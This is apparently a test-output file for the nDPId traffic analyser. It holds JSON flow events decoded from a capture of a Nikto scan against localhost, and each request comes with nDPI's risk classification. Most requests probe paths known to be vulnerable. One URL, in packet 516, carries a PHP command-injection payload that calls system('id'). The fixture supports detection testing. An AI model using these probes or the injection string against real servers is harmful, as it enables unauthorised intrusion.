+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":511,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":511,"flow_packet_id":1,"flow_first_seen":1576420277497,"flow_last_seen":0,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":168,"flow_max_l4_data_len":168,"flow_avg_l4_data_len":168,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50584,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":511,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":511,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":497320,"pkt_caplen":202,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":202,"pkt_l4_len":168,"pkt":"AAAAAAAAAAAAAAAACABFAAC8mG1AAEAGo8x\/AAABfwAAAcWYH5Bl4KC2nOMxboAYAED+sAAAAQEICp1m\/iGdZv4hR0VUIC9zc2RlZnMvIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAwMDE5KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":511,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":511,"flow_packet_id":1,"flow_first_seen":1576420277497,"flow_last_seen":0,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":168,"flow_max_l4_data_len":168,"flow_avg_l4_data_len":168,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50584,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/ssdefs\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000019)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":512,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":512,"flow_packet_id":1,"flow_first_seen":1576420277498,"flow_last_seen":0,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":168,"flow_max_l4_data_len":168,"flow_avg_l4_data_len":168,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50586,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":512,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":498475,"pkt_caplen":202,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":202,"pkt_l4_len":168,"pkt":"AAAAAAAAAAAAAAAACABFAAC88otAAEAGSa5\/AAABfwAAAcWaH5CxdspY+6ys9YAYAED+sAAAAQEICp1m\/iKdZv4iR0VUIC9zc2hvbWUvIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAwMDIwKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":512,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":512,"flow_packet_id":1,"flow_first_seen":1576420277498,"flow_last_seen":0,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":168,"flow_max_l4_data_len":168,"flow_avg_l4_data_len":168,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50586,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/sshome\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000020)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":513,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":513,"flow_packet_id":1,"flow_first_seen":1576420277499,"flow_last_seen":0,"flow_tot_l4_data_len":166,"flow_min_l4_data_len":166,"flow_max_l4_data_len":166,"flow_avg_l4_data_len":166,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50588,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00616{"flow_id":513,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":499578,"pkt_caplen":200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":200,"pkt_l4_len":166,"pkt":"AAAAAAAAAAAAAAAACABFAAC61XNAAEAGZsh\/AAABfwAAAcWcH5BK5u2wb4yQmIAYAED+rgAAAQEICp1m\/iOdZv4jR0VUIC90aWtpLyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAwMDIxKQ0KDQo="} +00755{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":513,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":513,"flow_packet_id":1,"flow_first_seen":1576420277499,"flow_last_seen":0,"flow_tot_l4_data_len":166,"flow_min_l4_data_len":166,"flow_max_l4_data_len":166,"flow_avg_l4_data_len":166,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50588,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/tiki\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000021)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":514,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":514,"flow_packet_id":1,"flow_first_seen":1576420277500,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50590,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":514,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":500692,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AAAAAAAAAAAAAAAACABFAADKj49AAEAGrJx\/AAABfwAAAcWeH5BxerdT3YbEDoAYAED+vgAAAQEICp1m\/iSdZv4kR0VUIC90aWtpL3Rpa2ktaW5zdGFsbC5waHAgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDAyMikNCg0K"} +00771{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":514,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":514,"flow_packet_id":1,"flow_first_seen":1576420277500,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50590,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/tiki\/tiki-install.php","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000022)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":515,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":515,"flow_packet_id":1,"flow_first_seen":1576420277501,"flow_last_seen":0,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":188,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":188,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50592,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00644{"flow_id":515,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":501875,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"AAAAAAAAAAAAAAAACABFAADQ2RZAAEAGYw9\/AAABfwAAAcWgH5BlMeHM00k6b4AYAED+xAAAAQEICp1m\/iWdZv4lR0VUIC9zY3JpcHRzL3NhbXBsZXMvZGV0YWlscy5pZGMgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDAwMjMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":515,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":515,"flow_packet_id":1,"flow_first_seen":1576420277501,"flow_last_seen":0,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":188,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":188,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50592,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/scripts\/samples\/details.idc","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000023)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":516,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":516,"flow_packet_id":1,"flow_first_seen":1576420277503,"flow_last_seen":0,"flow_tot_l4_data_len":223,"flow_min_l4_data_len":223,"flow_max_l4_data_len":223,"flow_avg_l4_data_len":223,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50594,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00692{"flow_id":516,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":503893,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"AAAAAAAAAAAAAAAACABFAADzlctAAEAGpjd\/AAABfwAAAcWiH5BEoK0q6pkm3YAYAED+5wAAAQEICp1m\/iedZv4nR0VUIC9mb3J1bWRpc3BsYXkucGhwP0dMT0JBTFNcW1xdPTEmZj0yJmNvbW1hPVwiLnN5c3RlbVwoJ2lkJ1wpXC5cIiBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDA3MCkNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00820{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":516,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":516,"flow_packet_id":1,"flow_first_seen":1576420277503,"flow_last_seen":0,"flow_tot_l4_data_len":223,"flow_min_l4_data_len":223,"flow_max_l4_data_len":223,"flow_avg_l4_data_len":223,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50594,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forumdisplay.php?GLOBALS\\[\\]=1&f=2&comma=\\\".system\\('id'\\)\\.\\\"","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000070)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":517,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":517,"flow_packet_id":1,"flow_first_seen":1576420277505,"flow_last_seen":0,"flow_tot_l4_data_len":185,"flow_min_l4_data_len":185,"flow_max_l4_data_len":185,"flow_avg_l4_data_len":185,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50596,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00641{"flow_id":517,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":505145,"pkt_caplen":219,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":219,"pkt_l4_len":185,"pkt":"AAAAAAAAAAAAAAAACABFAADNh+tAAEAGtD1\/AAABfwAAAcWkH5AZpL8K5\/crh4AYAED+wQAAAQEICp1m\/imdZv4oR0VUIC9ndWVzdGJvb2svZ3Vlc3Rib29rLmh0bWwgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDAwNzEpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00774{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":517,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":517,"flow_packet_id":1,"flow_first_seen":1576420277505,"flow_last_seen":0,"flow_tot_l4_data_len":185,"flow_min_l4_data_len":185,"flow_max_l4_data_len":185,"flow_avg_l4_data_len":185,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50596,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/guestbook\/guestbook.html","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000071)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":518,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":518,"flow_packet_id":1,"flow_first_seen":1576420277506,"flow_last_seen":0,"flow_tot_l4_data_len":190,"flow_min_l4_data_len":190,"flow_max_l4_data_len":190,"flow_avg_l4_data_len":190,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50598,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00648{"flow_id":518,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":506345,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"AAAAAAAAAAAAAAAACABFAADSOPFAAEAGAzN\/AAABfwAAAcWmH5AZrAAQDbKHy4AYAED+xgAAAQEICp1m\/iqdZv4qR0VUIC9odG1sL2NnaS1iaW4vY2dpY3NvP3F1ZXJ5PUFBQSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAwMDcyKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00780{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":518,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":518,"flow_packet_id":1,"flow_first_seen":1576420277506,"flow_last_seen":0,"flow_tot_l4_data_len":190,"flow_min_l4_data_len":190,"flow_max_l4_data_len":190,"flow_avg_l4_data_len":190,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50598,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/html\/cgi-bin\/cgicso?query=AAA","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000072)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":519,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":519,"flow_packet_id":1,"flow_first_seen":1576420277509,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50600,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":519,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":509149,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGjRRAAEAGrxt\/AAABfwAAAcWoH5A27bX0CottMYAYAED+ugAAAQEICp1m\/i2dZv4sR0VUIC9iYi1kbmJkL2ZheHN1cnZleSBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDE0MikNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":519,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":519,"flow_packet_id":1,"flow_first_seen":1576420277509,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50600,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/bb-dnbd\/faxsurvey","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000142)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":520,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":520,"flow_packet_id":1,"flow_first_seen":1576420277510,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50602,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":520,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":520,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":510739,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBP59AAEAG\/JV\/AAABfwAAAcWqH5D7oQd9r6h8pYAYAED+tQAAAQEICp1m\/i6dZv4uR0VUIC9jYXJ0Y2FydC5jZ2kgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDAxNDMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":520,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":520,"flow_packet_id":1,"flow_first_seen":1576420277510,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50602,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cartcart.cgi","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000143)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":521,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":521,"flow_packet_id":1,"flow_first_seen":1576420277512,"flow_last_seen":0,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":188,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":188,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50604,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00644{"flow_id":521,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":512058,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"AAAAAAAAAAAAAAAACABFAADQQ2ZAAEAG+L9\/AAABfwAAAcWsH5AIFXuH0ihJCIAYAED+xAAAAQEICp1m\/i+dZv4vR0VUIC9zY3JpcHRzL0NhcmVsbG8vQ2FyZWxsby5kbGwgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDAxNDQpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":521,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":521,"flow_packet_id":1,"flow_first_seen":1576420277512,"flow_last_seen":0,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":188,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":188,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50604,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/scripts\/Carello\/Carello.dll","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000144)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":522,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":522,"flow_packet_id":1,"flow_first_seen":1576420277513,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50606,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":522,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":522,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":513298,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9L\/9AAEAGDDp\/AAABfwAAAcWuH5CdEhcgbNGBkoAYAED+sQAAAQEICp1m\/jGdZv4xR0VUIC93LWFnb3JhLyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMDE4MykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00758{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":522,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":522,"flow_packet_id":1,"flow_first_seen":1576420277513,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50606,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/w-agora\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:000183)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":523,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":523,"flow_packet_id":1,"flow_first_seen":1576420277515,"flow_last_seen":0,"flow_tot_l4_data_len":200,"flow_min_l4_data_len":200,"flow_max_l4_data_len":200,"flow_avg_l4_data_len":200,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50608,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00660{"flow_id":523,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":515238,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"AAAAAAAAAAAAAAAACABFAADcMJVAAEAGC4V\/AAABfwAAAcWwH5AAUQhya1uvboAYAED+0AAAAQEICp1m\/jOdZv4zR0VUIC9jZ2ktbG9jYWwvY2dpZW1haWwtMS42L2NnaWNzbz9xdWVyeT1BQUEgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDAzNDQpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} 